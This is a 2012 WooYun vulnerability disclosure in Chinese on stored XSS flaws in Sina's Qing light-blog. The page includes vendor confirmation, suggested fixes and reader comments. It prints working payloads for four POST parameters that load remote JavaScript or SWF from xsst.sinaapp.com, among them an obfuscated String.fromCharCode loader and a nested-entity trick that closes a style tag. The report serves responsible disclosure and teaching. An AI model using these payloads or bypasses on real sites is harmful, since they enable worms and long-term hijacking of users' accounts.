当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07856

漏洞标题:新浪轻博客,满博尽是XSS....

相关厂商:新浪

漏洞作者: gainover

提交时间:2012-06-04 11:10

修复时间:2012-07-19 11:11

公开时间:2012-07-19 11:11

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-04: 细节已通知厂商并且等待厂商处理中
2012-06-04: 厂商已经确认,细节仅向厂商公开
2012-06-14: 细节向核心白帽子及相关领域专家公开
2012-06-24: 细节向普通白帽子公开
2012-07-04: 细节向实习白帽子公开
2012-07-19: 细节向公众公开

简要描述:

乌云上,已经有不少前人提交了轻博客的XSS。我在这里总结一下。
http://www.wooyun.org/bugs/wooyun-2010-03926
音乐功能 screen参数双引号未过滤导致XSS
http://www.wooyun.org/bugs/wooyun-2010-04682
评论处过滤不完善
http://www.wooyun.org/bugs/wooyun-2010-05904
音乐功能某处参数输出未过滤导致XSS
http://www.wooyun.org/bugs/wooyun-2010-06725
博客文章功能style未过滤expression
----------------------------------------------------
昨晚我对轻博客的功能重新进行了测试。
博客,照片,音乐,视频 4个功能, 有3个功能可导致存储型XSS。可导致蠕虫。
另外【模板设置】处,也可导致存储型XSS,并可能导致用户被长久劫持。

详细说明:

总体来说,经过之前的人提交BUG后,轻博客对双引号进行了过滤。
但是轻博客,在前端,并非直接输出内容,而是通过.innerHTML="内容"的方式输出。
在这种情况下。
.innerHTML='<img src="">';

.innerHTML='<img src=&quot;&quot;>';
是等效的。
而开发人员仅过滤了双引号,而没有过滤 & ,从而导致了以下3处XSS的发生。
1. 博客文章处XSS。cover参数未过滤

http://qing.weibo.com/blog/api/artpost.php
POST (仅提供缺陷参数,其它参数默认即可)
cover http://ww3.sinaimg.cn/mw600/a7ff28&quot;80jw1dtlhke6xkjj.jpg/onerror=&quot;Utils.Io.JsLoad.request(&#x27;//xsst.sinaapp.com/m.js&#x27;)


以上代码调用外部JS。
--------------------------------------------
2. 发布视频XSS。swf参数未过滤。

http://qing.weibo.com/blog/api/videopost.php
POST (仅提供缺陷参数,其它参数默认即可)
swf
http://xsst.sinaapp.com/Xss.swf&quot;allowscriptaccess=&quot;always&quot;><img/src=&quot;&quot;><.swf


以上代码,调用外部swf
--------------------------------------------
3. 发布音乐XSS。shorturl参数未过滤
音乐功能中的screen参数被WOOYUN其它人弄过( WooYun: 新浪轻博客跨站 ).
因而我没有去测试该参数,而是直接测试其它参数,发现shorturl未过滤。

http://qing.weibo.com/blog/api/musicpost.php
POST (仅提供缺陷参数,其它参数默认即可)
shorturl http://t.cn/zODGJj8'&quot;onload=&quot;Utils.Io.JsLoad.request(&#x27;//xsst.sinaapp.com/m.js&#x27;)&quot;a=&quot;


给个图:


--------------------------------------------
4. 模板设置处XSS。
这一处,比较有点意思。 我们将模板设置为【日记本】这一款模板!
抓包,可以得到POST的部分内容如下。

css_data	image:上传背景图:http%3A//simg.sinajs.cn/xblogtheme/images/1/1_5/body_bg.png|color:背景色:%23fff|color:文字色:%23333|color:文字链接色:%23542B10


可以看到POST的数据中有背景图地址,然后查看轻微博的源码,可以看到该背景地址在以下位置输出:

<style type="text/css">
body{background:#cfcfcf url(http://simg.sinajs.cn/xblogtheme/images/1/1_5/body.png) repeat;color:#333333;}
....
</style>


那么这个背景地址是否可以被我们修改呢?
经过测试, 这个地址里不能含有 ", ',<,> 等字符,会提示“图片地址错误”
但是如果是换成, &quot;,不会提示图片错误了,但是双引号也会被过滤掉。
但是如果是输入 &#x61; 则会在输出里转换为 a;
基于以上,我们可以推出大概的后端逻辑是:
逻辑4-1

A. 将HTML实体,如&quot; &nbsp; 转换为原字符
B. 将原字符里的双引号,单引号,空格等特殊字符过滤掉。
C. 判断是否仍然含有特殊字符,有则返回错误, 但是此处没有把&列为特殊字符。


起初我只是想在CSS里用expression,但是想想这个方法,局限于IE6,7,8都有点悬,不好玩。。于是继续以下测试, 看看能不能输入一个</style>来闭合css,然后在后面插入自己的HTML代码。
A. 前面已经测试发现, <, > 被过滤
B. 就算使用&#x3C; &#x3E;,也一样提示错误!
C. 但是,当我直接</style>来闭合css内容的时候,意外的发现</style>被过滤掉了,没有提示<,> 相同的错误,这说明,</style>标记被replace的优先级大于对<,> 的判断。
D. 基于C, 我就想到了&#x<style>3C;这样的方式,这样一来,我们可以躲避逻辑4-1;中的第一步,被replace掉<style>得到&#x3C; 我最初也只是推测得到&#x3C而已,但是结果输出了< .. 看来逻辑里还少了些步骤,但是那不是我关心的事情了,既然可以这样输出<,那我们可以构建以下代码,尝试输出</style>

&#x<style>3C;/style&#x<style>3E;


E. 结果.. 还是悲剧了,再次被过滤为空,因而,这里肯定是一个循环判断。但是既然是会过滤</style>,但是不一定会过滤</style空白字符>的形式,由于空格会被过滤掉,这里的空白字符我们用tab来代替(0x09)。于是有了以下的形式。

&#x<style>3C;/style&#x<style>09;&#x<style>3E;


F. 这一次,成功输出了</style >,闭合掉了css代码。
G. 基于上面的步骤,我们可以进一步构造整个图片的代码。

http%3A//a.com/)&#x<style>3C;/style&#x<style>09;&#x<style>3E;&#x<style>3C;img/src&#x<style>3D;1&#x<style>09;onerror&#x<style>3D;Utils.Io.JsLoad.request(/&#x<style>5C;/&#x<style>5C;/xsst.sinaapp.com&#x<style>5C;/m.js/.source)&#x<style>3E;


H. 上面只是测试的代码,由于style位于所有被调用的JS之前,故我们不能使用新浪自带的Utils库,最后我们构造POST的利用数据如下:

http://qing.weibo.com/blog/api/mytplpost.php
POSTDATA (仅列出缺陷参数)
css_data
image:上传背景图:http%3A//a.com/)&#x<style>3C;/style&#x<style>09;&#x<style>3E;&#x<style>3C;img/src&#x<style>3D;1&#x<style>09;onerror&#x<style>3D;(function()&#x<style>7B;window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,109,46,106,115);document.body.appendChild(window.s);&#x<style>7D;)()&#x<style>3E;a.png|color:背景色:%23fff|color:文字色:%23333|color:文字链接色:%23542B10


I. 提交后,Chrome查看输出。


J: 效果见漏洞证明。

漏洞证明:

1. 前面3处,可以造成蠕虫。
2. 最后一处,把利用的代码再细化下,可以保证在用户的模板依然有效的情况下,对受害用户进行比较长期的劫持。
3. 弹窗都长一个样。我就不每个都去截一个图了。

修复方案:

1. 前面3处是同一个问题,在用innerHTML输出时,将 & replace 成 &amp;
2. 最后1处。。挺混乱,感觉过滤的逻辑过于复杂。就算是提供自定义背景,你们完全可以把图片地址控制在你们的域下,比如 http://www.sinaimg.cn/USERID/xxxxx.jpg,正则只需要判断过滤xxxxx的内容。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-06-04 11:16

厂商回复:

非常感谢您对新浪的关注,我们立即修复.

最新状态:

暂无


漏洞评价:

评论

  1. 2012-07-04 14:46 | rehd ( 路人 | Rank:0 漏洞数:1 | 搬路由器的路过)

    各种巧妙啊.

  2. 2012-07-05 09:25 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    这个牛B~黑盒推逻辑,喜欢这个调调~

  3. 2012-07-05 11:41 | 一粒米 ( 路人 | Rank:4 漏洞数:2 | null)

    思维精巧的妹子伤不起。

  4. 2012-07-05 23:30 | Henry:bobo ( 普通白帽子 | Rank:104 漏洞数:22 | 本胖吊!~又高又肥2个奶奶像地雷)

    思维这个真广

  5. 2012-07-09 10:32 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    虽然不完全看得懂,但每次看LZ的推理就是一种享受啊...

  6. 2012-07-19 11:20 | 黄小昏 ( 实习白帽子 | Rank:55 漏洞数:7 | alert(妹子))

    这个黑盒的过程很给力啊

  7. 2012-07-19 11:56 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @horseluke 这个回复有意思,我也看不懂 留着以后看 哈哈

  8. 2012-07-19 17:41 | 小雨 ( 普通白帽子 | Rank:105 漏洞数:19 | phper)

    好强大!学习了。感谢如此详尽的解释说明。

  9. 2012-08-30 12:27 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    为什么循环判断</style>,却不循环判断<>这俩字符呢,程序猿怎么想的,另外,我是来膜拜的,看了N遍了。

  10. 2012-09-25 11:18 | G8dSnow ( 路人 | Rank:21 漏洞数:5 | 一直在学习技术、分享知识的路上)

    @小胖子 我只提了一个…

  11. 2012-09-28 00:46 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    膜拜洞主。学到很多,你是我偶像

  12. 2012-12-31 23:07 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @小胖子 因为他们更换模版的时候应该是要用到<,>的。